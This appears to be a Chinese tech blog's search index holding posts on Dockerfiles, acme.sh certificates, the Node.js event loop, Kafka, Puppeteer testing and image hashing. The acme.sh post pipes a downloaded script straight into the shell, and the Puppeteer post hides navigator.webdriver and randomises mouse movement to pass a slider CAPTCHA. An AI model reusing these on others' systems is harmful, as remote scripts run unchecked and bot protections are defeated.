上例中第二步一旦本地文件发生了变化将会导致包括此后步骤的缓存全部失效,必须重新构建,尤其是在开发环境,这将会增加你构建镜像的耗时。构建步骤的排序很重要,改变小的步骤放前面,改变大的步骤放后面,这有助于你优化使用缓存加速整个构建过程。 2、使用更精确的 COPY 只 copy 真正需要的文件,比如 node_modules 或者其它一些对于构建镜像毫无作用的文件一定要忽略掉(写入 .dockerignore 文件),这些无用的文件百害而无一利。 3、合并指令 - RUN apt-get update - RUN apt-get -y install cron vim ssh + RUN apt-get update \u0026\u0026 apt-get -y install cron vim ssh 像这种 apt-get 升级和安装分为两个步骤毫无必要,反之统一为一个步骤更有利于缓存。你如果仔细观察各种官方镜像的 Dockerfile 是怎么写的,你肯定会发现他们单条 RUN 指令的内容相当的冗长也不会拆分,这样写是有道理的。 4、移除不必要的依赖 - RUN apt-get update \u0026\u0026 apt-get -y install cron vim ssh + RUN apt-get update \u0026\u0026 apt-get -y install --no-install-recommends cron 只安装必须的依赖,某些 debug 的工具不要在构建的时候安装,首先线上 debug 的频率应该是很低的,其次真的要用的时候另外再安装就好了。另外 apt-get 这种包管理器可能会多安装一些额外推荐的东西,加上 --no-install-recommends 不要安装它们,如果某些工具是需要的则必须显示声明。 5、移除包管理器的缓存 RUN apt-get update \\ \u0026\u0026 apt-get -y install --no-install-recommends cron \\ + \u0026\u0026 rm -rf /var/lib/apt/lists/* 包管理器有它自己的缓存,记得删除这些文件。做这么多的目的其实就是精简镜像的大小(一个镜像几百M 上G的实在是有太多不需要的垃圾内容了),镜像越小部署起来越快。 6、使用官方镜像 比如,你需要一个 node.js 环境,你可以拉取一个 linux 基础镜像,然后自己一步一步安装,但是这样做毫无必要,你应该直接选择 node.js 官方的基础镜像,你要知道官方镜像一定是做了很多优化的。 7、使用清晰的 tag 标记 不要使用 FROM node:latest 这种,latest 标记鬼知道具体指向了哪个版本。 8、寻找合适大小的镜像 12.6.0-stretch 349MB 12.6.0-slim 56MB 12.6.0-alpine 27MB 例如上面这三个基础镜像都是相同的 node 12.6.0 版本,但是镜像大小差别却很大,因为底层的系统是可以被裁剪的,镜像越小越好,但是要注意由于系统被裁剪可能出现兼容性问题。 9、在一致的环境中从源码构建 10、安装依赖 这里安装的依赖指的不是系统依赖,而是应用程序的依赖,在单独的步骤中进行。 11、多阶段构建 例如 go 语言,打包编译的操作是需要安装相关环境和工具的,但是运行的时候并不需要,这时候我们就可以使用多阶段构建。 FROM golang:1.12 AS builder WORKDIR /app COPY ./ ./ RUN go build -o myapp test.go FROM debian:stable-slim COPY --from=builder /app/myapp / CMD [\"./myapp\"] 如上所示,我们在第一阶段的构建拉取了完整的 go 环境,然后打包编译生成二进制可执行文件,在第二阶段则重新构造一个新的环境并选用精简的 debian 基础镜像,只把第一阶段编译好的可执行文件复制进来,而其它不需要的东西通通抛弃掉了,这样我们最终生成的镜像是非常小而精的。(多阶段构建要求 docker 版本 17.05 以上) 最后,我们所使用的语言和对环境的要求千差万别,注意不要生搬硬套,只有适合自己的才是最好的,希望本文所述的这些细节对你有所帮助。 ","date":"2019-07-10","objectID":"/dockerfile-best-practice/:0:0","tags":["Docker","Kubernetes"],"title":"Dockerfile 最佳实践","uri":"/dockerfile-best-practice/"},{"categories":["Uncate"],"content":"Let's Encrypt 配置 HTTPS 免费泛域名证书","date":"2019-06-27","objectID":"/lets-encrypt/","tags":[],"title":"Let's Encrypt 配置 HTTPS 免费泛域名证书","uri":"/lets-encrypt/"},{"categories":["Uncate"],"content":"想要使用 HTTPS ,你必须先拥有权威 CA(证书签发机构)签发的证书(对于自签名的证书,浏览器是不认账的)。Let’s Encrypt 就是一家权威的 CA 证书签发机构,你可以向他申请免费的证书(一般商业证书的价格比较贵)。 推荐使用 acme.sh 这个工具,申请泛域名证书示例: 注意:以下示例中,我的二级域名是 rifewang.club (一般你向云服务商购买的都是二级域名),泛域名是 *.x.rifewang.club 。 1、在系统上安装 acme.sh ,默认安装位置是 ~/.acme.sh : curl https://get.acme.sh | sh 安装要求系统必须已经安装了 cron , crontab , crontabs , vivie-cron 其中任意一个工具,不然会提示你安装失败,没有的话先安装一个即可。 注意:以下操作使用的是 DNS manual mode 的方式。 2、发起 issue 申请获取域名 DNS TXT 记录: acme.sh --issue --force --dns -d \u003c二级域名\u003e -d \u003c泛域名\u003e \\ --yes-I-know-dns-manual-mode-enough-go-ahead-please 注意:你必须先将 acme.sh 这个可执行文件的路径添加到系统的环境变量 PATH 中,或者直接在可执行文件目录下执行,否则肯定会提示你 acme.sh command not found 。 –force 强制 issue ,某些情况下你的域名已经验证成功了就会跳过验证,不会生成新的 TXT 记录,所以这里强制执行一下。 –yes-I-know… 这一堆冗长的东西是必须加的,这里就是想提示你 DNS manual mode 的方式不支持自动续签。 issue 之后的结果如图所示: 按照说明你需要分别添加 _acme-challenge.\u003c二级域名\u003e 和 _acme-challenge.\u003c泛域名\u003e 这两个域名的 TXT 类型的域名解析: 之所以要添加域名解析是为了验证你对此域名的所有权。 3、等待 DNS TXT 解析生效,同一条解析重复更新需要避免 DNS 缓存的问题。 4、发起 renew 申请签发并下载证书: acme.sh --renew --force --dns -d \u003c二级域名\u003e -d \u003c泛域名\u003e \\ --yes-I-know-dns-manual-mode-enough-go-ahead-please 示例结果如图所示: 输出结果除了会告诉你证书签发成功之外,还会在最后说明证书的存放位置,默认是 ~/.acme.sh/\u003c二级域名\u003e/ 这个目录。 5、配置你的证书和密钥,对应的就是 fullchain.cer 和 \u003c二级域名\u003e.key 这两个文件的内容。不同的情况下,配置的操作是不同的:比如你是在自己的服务器上直接操作 nginx ,那么将配置路径指向正确的证书和密钥地址即可,而如果你使用的是云服务,那么你可能需要做的是上传证书和密钥文件内容。总之,你已经成功获取了 HTTPS 证书。 Let’s Encrypt 的泛域名证书有效期是三个月,acme.sh 的 DNS manual mode 方式不支持自动续签,你想要续签就必须重新 issue 然后 renew 操作一遍,我之所以这么做是因为权限受限,当然写个定时脚本任务就行了,也不用我手动操作。 acme.sh 不只一种 mode 方式,其它的方式是有支持自动续签的,并且也接入了主流的云服务商(你只需要配置 apikey 即可),更多内容请参考官网。 ","date":"2019-06-27","objectID":"/lets-encrypt/:0:0","tags":[],"title":"Let's Encrypt 配置 HTTPS 免费泛域名证书","uri":"/lets-encrypt/"},{"categories":["Uncate"],"content":"深入理解 Node.js 事件循环架构【译】","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"本文翻译自: https://medium.com/preezma/node-js-event-loop-architecture-go-deeper-node-core-c96b4cec7aa4 关于 Node.js ,相信你已经了解过不少内容,诸如 Node.js 内核、事件循环、单线程、setTimeout 或 setImmediate 函数的执行机制等等。 当然最重要的,你应该知道 Node.js 使用的是非阻塞 IO 模型以及异步的编程风格。本文仍将深入核心进行相关内容的探讨。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:0:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"01 事件循环到底是什么?Node.js 到底是单线程还是多线程? 关于这个问题,网络上充斥着各种不清晰甚至错误的答案。本文将会深入 Node.js 内核,阐述它是如何实现的以及它的工作机制。 Node.js 并不仅仅只是 \" JavaScript on the Server \" ,更重要的是,其中约 30% 的部分是 C++ 而不是 JS 。本文将会讲述这些 C++ 部分在 Node.js 中实际做了什么。 Node.js 是单线程? 答案:Node.js 既是单线程,但同时也不是。 一些相关名词:multitasking(多任务)、single-threaded(单线程)、multi-threaded(多线程),thread pool(线程池)、epoll loop(epoll 循环)、event loop(事件循环)。 让我们从头开始深入了解 Node.js 内核中发生了什么? 处理器可以一次处理一件事,也可以一次并行地处理多个任务(multitasking)。 对于单核处理器,其只能一次处理一个任务,应用程序在完成任务后调用 yield 去通知处理器开始处理下一个任务,就像 JavaScript 中的 generator 函数一样,否则没有 yield 则将返回当前任务。在过去,当应用程序无法调用 yield 时,其服务将处于无法访问的状态。 进程是一个 top level 执行容器,它有自己专用的内存系统。 这意味着在一个进程中无法直接获取另一个进程的内存中的数据,为了使两个进程进行通信,我们必须要另外做一些工作,称之为 inter-process communication( IPC ,进程间通信),它依赖于 system sockets(系统套接字)。 Unix 系统中的工作基于 sockets 套接字。Socket 就是一个整数,返回一个 Socket() 系统调用,它被称为 socket descriptor(套接字描述符)或者 file descriptor(文件描述符)。 Sockets 通过虚拟的接口( read / write / pool / close 等)指向系统内核中的对象。 System sockets 系统套接字的工作方式类似于 TCP sockets :将数据转换为 buffer 然后发送。由于我们在进行进程间通信时使用的是 JavaScript ,因此我们必须多次调用 JSON.stringify ,显然这是很低效的。 然而,我们拥有线程! 执行线程是可由调度器独立管理的最小程序指令序列。 线程在进程中运行,一个进程可以包含许多线程,并且由于这些线程处于同一个进程中,因此它们共享同一个内存。 这也就是说线程间通信不需要做任何额外的事情。如果我们在一个线程中托管一个全局变量,那么我们可以直接在另一个线程中访问它,因为它们都保持对同一个内存的引用,这种方式非常高效。 但是我们假设在一个线程中有一个函数,它写入一个 foo 变量,另一个线程则从中读取,这将会发生什么? 答案无从得知,因为我们无法确定读和写的先后顺序。这也正是多线程编程的难点所在。让我们看看 Node.js 如何处理这个问题。 Node.js 说:我只有一个线程。 实际上,Node.js 基于 V8 引擎,代码在主线程中执行,事件循环也运行在主线程中,这就是为什么我们说 Node.js 是单线程的。 但是,Node.js 不仅仅只是 V8,它有许多 APIs(C++),并且这些 API 都由 Event Loop 事件循环管理,通过 libuv(C++)实现。 C++ 在后台执行 JavaScript 代码并且拥有访问线程的权限。如果你执行从 Node.js 中调用的 JavaScript 同步方法,它将始终在主线程中运行。但是如果你执行一些异步的任务,它不会总是在主线程中执行:根据你使用的方法,事件循环可以将它路由到 APIs 中的某一个,并且它可以在另一个线程中执行。 看一个示例 CRYPTO ,它有许多 CPU 密集型方法,一些是同步的,一些是异步的。这里看一下 pbkdf2 方法。如果我们在 2 核处理器中执行其同步版本并进行 4 次调用,假设一次调用的执行时间是 2 ms ,则总耗时为 4 * 2 ms = 8 ms 。 但是如果在同一个 CPU(2核)中执行这个方法的异步版本,总耗时则为 2 * 2 ms = 4 ms ,因为处理器将使用默认 4 个线程(下文将会说明),将它托管到两个进程中并执行。 这也就是:Node.js 并发地执行异步方法。 Node.js 使用一组预先分配的线程,称之为线程池,如果我们没有指定要打开的线程数,它默认就是使用 4 个线程。 我们可以通过 UV_THREADPOOL_SIZE 进行设置。 所以,Node.js 是多线程的吗? 当然,Node.js 使用了多线程。 然而,Node.js 到底是单线程还是多线程,这取决于 when ? ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:1:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"02 我们来看看 TCP 连接。 Thread per connection : 创建一个 TCP server 最简单的方式就是创建一个 socket ,绑定这个 socket 到某个端口上然后 listen 监听。 在我们调用 listen 之前,该 socket 可用于建立连接或接受连接。当我们调用 listen 时,我们准备接受连接。 当连接到达并且我们需要写入它时,直到我们完成写入之前,我们都无法接受另一个连接,这就是我们将它推入另一个线程的原因。所以我们将 socket descriptor 和 function pointer 传递给线程。 现在,系统可以轻松处理几千个线程,但在这种情况下,我们必须为每个连接向线程发送大量数据,并且这样做并不能很好的扩展到两万到四万个并发连接。 但是,我们实际需要的仅仅只是 socket descriptor 套接字描述符,并记住我们要做的事情(也就是如何使用这些套接字)。所以有一种更好的方法:使用 Epoll(unix系统)或着 Kqueue(BSD系统,其实跟 Epoll 是同一个东西,不同系统名称不一样而已)。 Epoll 是 unix 系统相关底层知识。 Epoll 循环: Epoll 能为我们带来什么,为什么要使用它。使用 Epoll 允许我们告诉 Kernel(系统内核)我们关注的事件,并且 Kernel 将会告诉我们这些事件何时发生。在上面的例子中,我们关注的是传入的 TCP 连接,因此,我们创建一个 Epoll 描述符并将其添加到 Epoll 循环中,并调用 wait 。每当有 TCP 连接传入时便会唤醒,然后将它添加到 Epoll 循环中并等待来自它的数据。这就是事件循环为我们做的事情。 举个例子: 当我们通过 http 请求向同一个 2 核处理器下载数据时,4 个,6 个,甚至 8 个请求需要的时间相同。这意味着什么?这意味着这里的限制与我们在线程池中的限制不同。 因为操作系统负责下载,我们只是要求它下载,然后问它:完成了吗?还没好吗?完成了吗?(监听 Epoll 中的 data 事件)。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:2:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"03 APIs 哪些 API 对应于哪种方式呢?(线程,Epoll) 所有 fs.* 方法使用 uv thread pool,除非是同步方法。阻塞调用由线程完成,完成后将信号发送回事件循环。我们无法直接在 Epoll 中 wait ,只能 pipe 。Pipe 管道连接两端:一端是线程,当它完成时,往管道中写入数据,另一端在 Epoll 循环中等待,当它获取到数据时,Epoll 循环唤醒。因此 pipe 是由 Epoll 响应的。 一些主要的方法及其对应的响应方式: EPOLL : TCP/UDP servers and clients pipes dns.resolve NGINX : nginx signals ( sigterm ) Child processes ( exec, spawn ) TTY input ( console ) THREAD POOL : fs. dns.lookup 事件循环负责发送和接受结果,如同中央调度器一般,将请求路由到 C++ API,然后将结果返回给 JavaScript 。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:3:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"04 Event loop 事件循环到底是什么?它是一个无限的 while 循环,调用 Epoll wait 或者 pool ,当 Node.js 中我们关注的事情如 callback 回调、event 事件、fs 发生时,它将返回给 Node.js ,然后当 Epoll 不再有 wait 时退出。这就是 Node.js 中的异步工作方式,以及为什么我们称之为事件驱动。事件循环允许 Node.js 执行非阻塞 IO 操作。尽管 JavaScript 是单线程的,但只要有可能就会将操作丢给系统内核。 事件循环的一次迭代称之为 Tick,它有自己的 phases(阶段)。 更多关于 event loop 的 phases、Timers、process.nextTick() 等请查阅官方文档。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:4:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"05 Node.js v10.5.0 版本之后,新增了 worker_threads 工作线程模块,允许用户多线程并行执行 JavaScript 。 工作线程对于执行 CPU 密集型 JavaScript 操作非常有用,但对于 IO 密集型工作没有多大帮助,因为 Node.js 内置的异步 IO 操作比这些 workers 更高效。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:5:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Middleware"],"content":"流平台 Kafka","date":"2019-04-11","objectID":"/kafka/","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"简介 Kafka 作为一个分布式的流平台,正在大数据相关领域得到越来越广泛的应用,本文将会介绍 kafka 的相关内容。 流平台如 kafka 具备三大关键能力: 发布和订阅消息流,类似于消息队列。 以容错的方式存储消息流。 实时处理消息流。 kafka 通常应用于两大类应用: 构建实时数据流管道,以可靠的获取系统或应用之间的数据。 构建实时转换或响应数据流的应用程序。 kafka 作为一个消息系统,可以接受 producer 生产者投递消息,以及 consumer 消费者消费消息。 kafka 作为一个存储系统,会将所有消息以追加的方式顺序写入磁盘,这意味着消息是会被持久化的,传统消息队列中的消息一旦被消费通常都会被立即删除,而 kafka 却并不会这样做,kafka 中的消息是具有存活时间的,只有超出存活时间才会被删除,这意味着在 kafka 中能够进行消息回溯,从而实现历史消息的重新消费。 kafka 的流处理,可以持续获取输入流的数据,然后进行加工处理,最后写入到输出流。kafka 的流处理强依赖于 kafka 本身,并且只是一个类库,与当前知名的流处理框架如 spark 和 flink 还是有不小的区别和差距。 大多数使用者以及本文重点关注的也只是 kafka 的前两种能力,下面将会对此进行更加详细的介绍。 ","date":"2019-04-11","objectID":"/kafka/:1:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"相关概念 kafka 中的相关概念如下图所示: 1、Producer :生产者,投递消息。 2、Topic :消息的逻辑分类,所有消息都必须归属于一个特定的 topic 主题。 3、Broker :kafka 集群具有多个 broker(代理节点),一个 broker 其实就是一个 kafka 服务器。 4、Partition :topic 只是逻辑上的概念,每个 topic 主题下的消息都会被分开存储在多个 partition 分区中,为了容错,kafka 提供了备份机制,每个 partition 可以设置多个 replication 副本。 5、Consumer :消费者,拉取消息进行消费,每个消费者都从属于一个 consumer group 消费组。 ","date":"2019-04-11","objectID":"/kafka/:2:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"消息投递 每条消息由 key、value、timestamp 构成。 消息是存储在 partition 分区上的,至于存储在哪个 partition 分区上则分以下三种情况: 1、producer 投递消息时直接指定具体的 partition 。 2、未指定 partition 并且消息中也没有 key ,那么消息将会被以轮询的方式发送到 topic 下不同的 partition 以实现负载均衡。 3、未指定 partition 但是消息中有 key ,那么将会根据 key 值计算然后发送到指定分区,相同的 key 一定是相同的 partition 。 Producer 投递消息等待响应的情况由 acks 参数确定: 1、acks = 0 :这意味着生产者不会等待任何消息确认,也就是认为发送即成功。 2、acks = 1 :等待 leader 写入消息成功,但不会等待 follower 的确认。这意味着 leader 确认后立马挂掉而 follower 还来不及同步消息,此时消息就会丢失。 3、acks = -1 或者 all :不仅要 leader 确认,还需要所有 in-sync 的副本进行确认。这保证了只要有至少一个 in-sync 的副本存活,消息就不会丢失。 Leader 和 follower 指的都是 broker 对象。 每个 partition 分区都有唯一一个 broker 充当 leader,零个或多个 broker 作为 follower 。这意味着每个服务器在作为某个分区的 leader 的同时也会是其它服务器的 follower 。 消息的读写全部由 leader 处理,而 follower 只负责同步 leader 的消息。 所有正常同步的 broker 都会记录于 ISR( In Sync Replicas )列表中,包括 leader 本身,正常同步的状态也就是 in-sync ,如果某个服务器挂掉了或者同步进度落后太多,那么其也就不再处于 in-sync 状态,并且会从 ISR 中剔除。 ","date":"2019-04-11","objectID":"/kafka/:3:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"分区存储 Topic 只是逻辑上的概念,partition 才是实际存储消息的地方,每个 topic 拥有多个 partition 分区。 每个 partition 分区都是一个有序的不可变的记录序列,消息一定是以顺序化的方式追加写入的,也正是这种方式保证了 kafka 的高吞吐量。而每个 partition 分区中的消息都有一个 offset 偏移量作为其唯一标识。 主要注意的是单个 partition 中的消息是有序的,但是整个 topic 并不能保证消息的有序性。 消息是被持久化保存的,何时删除消息完全取决于所设置的保留期限,而与消息是否被消费没有任何关系。对于 kafka 来说,长时间存储大量数据并没有什么问题,而且也不会影响其性能。 ","date":"2019-04-11","objectID":"/kafka/:4:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"消息消费 Consumer 消费消息。 每个 consumer 一定从属于一个 consumer group 消费组。 1、消息会被广播到所有订阅的 consumer group 中,不同的 group 互不影响。 2、同一个 group 中,一个 partition 分区只能同时被一个 consumer 消费,但是一个 consumer 可以同时消费多个 partition 分区,group 中的所有 consumer 一起消费所有的 partition 。 3、同一个 group 中,如果 consumer 的数量多于 partition 的数量,那么多出来的 consumer 不会做任何事情。 consumer 消费消息是需要主动向 kafka 拉取的,而不是由 kafka 推送给消费者。kafka 已经将消息进行了持久化,消费者主动拉取消息的优点就在于,消费进度完全由消费者自己掌控,其次,可以进行历史消息重新消费。 在老版本中,消费者 API 分为低级和高级两种。通过低级 API ,消费者可以指定消费特定的 partition 分区,但是对于故障转移等情况需要自己去处理。高级 API 则进行了很多底层处理并抽象了出来,消费者会被自动分配分区,并且当出现故障转移或者增减消费者或分区等情况时,会自动进行消费者再平衡,以确保消息的消费不受影响。 在新版本中,消费者 API 被重构且合并,不再分低级和高级,但消费者仍然可以自定义分区分配或者使用自动分配。 对于不同的客户端 API 使用方法需要参考各自的文档。 ","date":"2019-04-11","objectID":"/kafka/:5:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"结语 kafka 具有高吞吐量、低延迟、可扩展、持久化、可容错、高并发等等特性。本文先介绍这么。 ","date":"2019-04-11","objectID":"/kafka/:6:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Uncate"],"content":"使用 Puppeteer 构建自动化端到端测试","date":"2019-03-22","objectID":"/puppeteer/","tags":["Node.js"],"title":"使用 Puppeteer 构建自动化端到端测试","uri":"/puppeteer/"},{"categories":["Uncate"],"content":"端到端测试指的是将系统作为一个黑盒,模拟正常用户行为,跨越从前端到后端整个软件系统,是一种全局性的整体测试。 来看本文的示例: There should have been a video here but your browser does not seem to support it. 你在视频中看到的所有操作全部都是由程序自动完成的,就像真实的用户一样,通过这种自动化的方式可以很好的提升我们的测试效率从而保证交付的质量。 完成这样的操作相当简单,只需要 Puppeteer 就够了。Puppeteer 是一个 node 库,通过它提供的高级 API 便可以控制 chromium 或者 chrome ,换句话说,在浏览器中进行的绝大部分人工操作都可以通过在 node 程序中调用 Puppeteer 的 API 来完成。 本文示例中的所有操作无外乎于: 获取页面元素 键盘输入 鼠标操作 文件上传 执行原生JS 一、打开浏览器跳转页面: const browser = await puppeteer.launch({ headless: false, // 打开浏览器 defaultViewport: { // 设置视窗宽高 width: 1200, height: 800 } }); const page = await browser.newPage(); await page.goto(url); // 跳转页面 二、获取输入框并输入: // -----------------------输入账号密码---------------------------- const input_username = await page.waitForSelector('input[placeholder=\"用户名\"]'); const input_password = await page.waitForSelector('input[placeholder=\"密码\"]'); await input_username.type(username); await input_password.type(password); // --------------------------------------------------- 通过 page.waitForSelector 方法等待获取到指定的页面元素,也就是 elementHandle , 再直接执行 elementHandle 的 type 方法即可完成键盘输入。 三、通过滑动验证: 1、滑动验证必须要禁用 navigator ,这里通过 page.evaluate 方法直接执行原生JS 即可: await page.evaluate(async () =\u003e { // 滑动验证禁用 navigator await Object.defineProperty(navigator, 'webdriver', {get: () =\u003e false}) }); 2、鼠标操作进行验证: async function aliNC (page) { const nc = await (await page.waitForSelector('.nc-lang-cnt')).boundingBox(); // 获取滑动验证边界框 await page.mouse.move(nc.x, nc.y); // 鼠标移动到起始位置 await page.mouse.down(); // 鼠标按下 const steps = Math.floor(Math.random() * 50 + 20); // 随机 steps await page.mouse.move(nc.x + nc.width, nc.y, { steps: steps}); // 移动到滑块末端位置 await page.mouse.up(); // 鼠标松开 await page.waitForTimeout(1200); // 延时等待验证完成 } 先获取到滑动验证的页面元素,再通过 elementHandle 的 boundingBox 方法获取边界框,从而确定 X、Y 二维坐标。 通过 page 的 mouse 相关方法即可进行 move 鼠标移动、down 鼠标按下、up 鼠标松开等操作,需要注意的是我们最好随机生成 steps 来控制鼠标移动的快慢从而避免验证失败。 四、上传文件: 现获取到上传相关的 input 元素即 elementHandle ,然后再调用 elementHandle 的 uploadFile(…filePaths) 方法即可,filePaths 就是文件的路径,如果是相对路径则是相对于当前工作目录。 五、其它: 你会发现几乎所有用户动作就是先获取到相关元素,然后进行键盘或鼠标操作,把它们组合起来就成一整套操作流程。 是自动化的吗?是的,没有人工操作,都是程序在自动进行。 是否真的有效?有效,所有操作都是模拟用户进行的真实行为,从看到前端页面,到提交数据,到请求后端接口,可以说是走了一遍完整的流程,并且整个过程也是可视的,在测试过程中即可发现异常。 最后,我相信 Puppeteer 值得你好好玩一玩,更多用法和 API 还是多翻翻官网,真的很简单。 ","date":"2019-03-22","objectID":"/puppeteer/:0:0","tags":["Node.js"],"title":"使用 Puppeteer 构建自动化端到端测试","uri":"/puppeteer/"},{"categories":["Uncate"],"content":"图像相似性:哈希和特征","date":"2019-03-14","objectID":"/image-similarity/","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"引言 如何判断图像的相似性? 直接比较图像内容的 md5 值肯定是不行的,md5 的方式只能判断像素级别完全一致。图像的基本单元是像素,如果两张图像完全相同,那么图像内容的 md5 值一定相同,然而一旦小部分像素发生变化,比如经过缩放、水印、噪声等处理,那么它们的 md5 值就会天差地别。 本文将会介绍图像相似性的两大有关概念:图像哈希、图像特征。 ","date":"2019-03-14","objectID":"/image-similarity/:1:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像哈希 图像通过一系列的变换和处理最终得到的一组哈希值称之为图像的哈希值,而中间的变换和处理过程则称之为哈希算法。 下面以 Average Hash 算法为例描述这一基本过程: 1、Reduce size : 将原图压缩到 8 x 8 即 64 像素大小,忽略细节。 2、Reduce color : 灰度处理得到 64 级灰度图像。 3、Average the colors : 计算 64 级灰度均值。 4、Compute the bits : 二值化处理,将每个像素与上一步均值比较并分别记为 0 或者 1 。 5、Construct the hash : 根据上一步结果矩阵构成一个 64 bit 整数,比如按照从左到右、从上到下的顺序。最后得到的就是图像的均值哈希值。 参考:http://www.hackerfactor.com/blog/?/archives/432-Looks-Like-It.html 如果你稍加留意,就会发现 Average Hash 均值哈希算法的处理过程相当简单,优点就是计算速度快,缺点就是局限性比较明显。 当然计算机视觉领域发展到现在已经有了多种图像哈希算法,OpenCV 支持的图像哈希算法包括: AverageHash : 也叫 Different Hash. PHash : Perceptual Hash. MarrHildrethHash : Marr-Hildreth Operator Based Hash. RadialVarianceHash : Image hash based on Radon transform. BlockMeanHash : Image hash based on block mean. ColorMomentHash : Image hash based on color moments. 这些哈希算法的具体实现过程不在本文的讲述范围内,我们重点关注的是他们的实际表现。 如上图所示,左下角标明了如水印、椒盐噪声、旋转、缩放、jpeg压缩、高斯噪声、高斯模糊、对比度等对抗影响,右下角则是各种哈希算法,圆锥体的高度则代表哈希算法对各种影响的抗性,高度越高说明抗性越高、越能成功匹配。 值得注意的是,不同的哈希算法输出的哈希值是不同的(在 OpenCV 中),这里是指数据类型和位数并不完全相同,结果越复杂需要的计算成本也就越高。 下面运用这些哈希算法对某张图分别计算其哈希值,观察他们的输出结果: 从上图中可以看到,ColorMomentHash 比较特别,输出的是浮点数,它也是唯一一个能够对抗旋转的哈希算法,但是也局限于 -90 ~ 90 度。 图像的哈希值提取出来了,那么下一个问题来了,如何比较两张图片的相似性? ","date":"2019-03-14","objectID":"/image-similarity/:2:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"Hamming distance Hamming distance 汉明距离,指的是两个等长字符串对应位置不同字符的个数。 例如: 1 0 1 1 1 0 1 1 0 0 1 0 0 1 汉明距离为 2 。 两张图片之间的相似性可以通过他们的哈希值之间的汉明距离来判断,汉明距离越小则说明图片越相似,ColorMomentHash 除外。 如果我们的图片在百万以上量级,那么我们如何在实际工程应用中快速找到相似的图片?难点在于提取了所有图片构建哈希数据集后如何存储,其次如何进行百万次比较也就是计算汉明距离。 答案是构建倒排索引,例如 Elasticsearch 可以轻松实现。但是 ES 并不直接支持计算汉明距离,妄图利用模糊查询你会死的很惨,这里必须变通处理。再回到汉明距离的定义上,假设我们的图片哈希值是 64 bit 位的数据,如果按照定义则需要比较 64 次,但是我们完全可以将哈希值拆分,64 = 8 x 8,每 8 bit 构成一个比较单元,这样我们就只需要比较 8 次即可。为什么能拆分?因为我们认为相似图片即使经过拆分后比较仍然具有较好的匹配性。 显然哈希值越复杂则比较的成本越高,所以在实际应用中我们需要综合业务需求来考量具体采用哪种哈希算法。 图像哈希的方式其实可以理解为图像整体上的相似性。既然有整体,那么就有局部。 ","date":"2019-03-14","objectID":"/image-similarity/:3:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像特征 「一双丹凤双角眼,两弯柳叶吊梢眉」,人脸可以有特征,那么图像呢?当然也有,只要图像具有类似的特征,那么就可以认为他们是相似的,这也就是局部相似性: 例如上面左右两张图,特征匹配,局部相似。 什么是特征?特征一定是图片的低频部分。 上图三个部分,显然蓝色圈能匹配更多,黑色圈次之,红色圈最不易匹配,如果要选择一个作为特征,当然就是红色圈。 Corner Detection : 图像特征提取的基础算法,目的在于提取图像中的 corner ,这里的 corner 可并不是四个边框角,而是图像中的具有突变特征的点,例如: Corner detectors 最大的缺点在于无法应对伸缩情况,为了解决这个问题 SIFT 特征提取算法问世,SIFT 的全称即 Scale Invariant Feature Transform 。 Keypoint 和 Descriptor :keypoint 也就是图像的特征点,descriptor 则是对应特征点的描述因子,在 OpenCV 中,keypoint 也一组浮点数矩阵,这并不利于计算,于是可以将其转换为了整形值也就是 descriptor ,每一个特征点的 descriptor 描述因子就是一个多维向量。 SIFT 提取特征点示例: 需要注意的是一张图像的特征点是有多个的。 SIFT 算法的缺点在于计算速度太慢,SIFT 每个特征点的 descriptor 有 128 维。为此 SURF( Speeded-Up Robust Features )算法对其进行了加速优化,SURF 特征点可以是 64 维,也可以转换为 128 维。 SIFT 和 SURF 算法都是有专利的,这意味着你有责任和义务向其付费,然而 OpenCV 团队经过自己的研究提出了一个更快速优秀且免费的 ORB ( Oriented FAST and Rotated BRIEF )算法,每个特征点更只有 32 维,减少了更多计算成本。 特征点提取出来了,怎么通过特征点去比较图像的相似性?两个特征点之间的汉明距离小于一定程度,则我们认为这两个特征点是匹配的,每张图像可以提取出多个特征点,匹配的特征点的个数达到我们设定的阈值,则我们就可以认为这两张图片是相似的。 